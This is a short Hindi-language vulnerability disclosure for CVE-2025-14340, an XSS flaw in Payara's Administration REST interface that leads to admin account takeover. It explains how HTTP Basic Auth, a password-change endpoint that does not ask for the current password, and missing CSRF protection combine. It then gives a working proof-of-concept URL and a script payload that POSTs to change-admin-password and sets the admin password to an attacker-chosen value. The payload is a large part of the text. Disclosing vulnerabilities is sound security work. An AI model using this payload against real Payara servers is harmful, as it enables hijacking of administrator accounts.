XSS से Admin अकाउंट टेकओवर (CVE-2025-14340)

Payara के Administration Rest Interface में एक Cross-Site Scripting कमजोरी है, जो हमलावर-नियंत्रित JavaScript के निष्पादन की अनुमति देती है और admin अकाउंट टेकओवर की ओर ले जाती है। इसके कारण:

1. पैनल HTTP Basic Auth का उपयोग करता है (क्रेडेंशियल ब्राउज़र द्वारा same-origin अनुरोधों के लिए स्वचालित रूप से भेजे जाते हैं)।
2. change-admin-password एंडपॉइंट को किसी उपयोगकर्ता का पासवर्ड अपडेट करने के लिए वर्तमान पासवर्ड की आवश्यकता नहीं होती है।
3. change-admin-password फ़ॉर्म में CSRF सुरक्षा नहीं है।
4. /management/domain/version में XSS का उपयोग करने वाला एक इंजेक्टेड स्क्रिप्ट /management/domain/change-admin-password पर POST कर सकता है और किसी भी लक्षित खाते के लिए हमलावर द्वारा चुना गया पासवर्ड सेट कर सकता है — जिसके परिणामस्वरूप administrator अकाउंट टेकओवर होता है।

प्रूफ ऑफ कॉन्सेप्ट

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>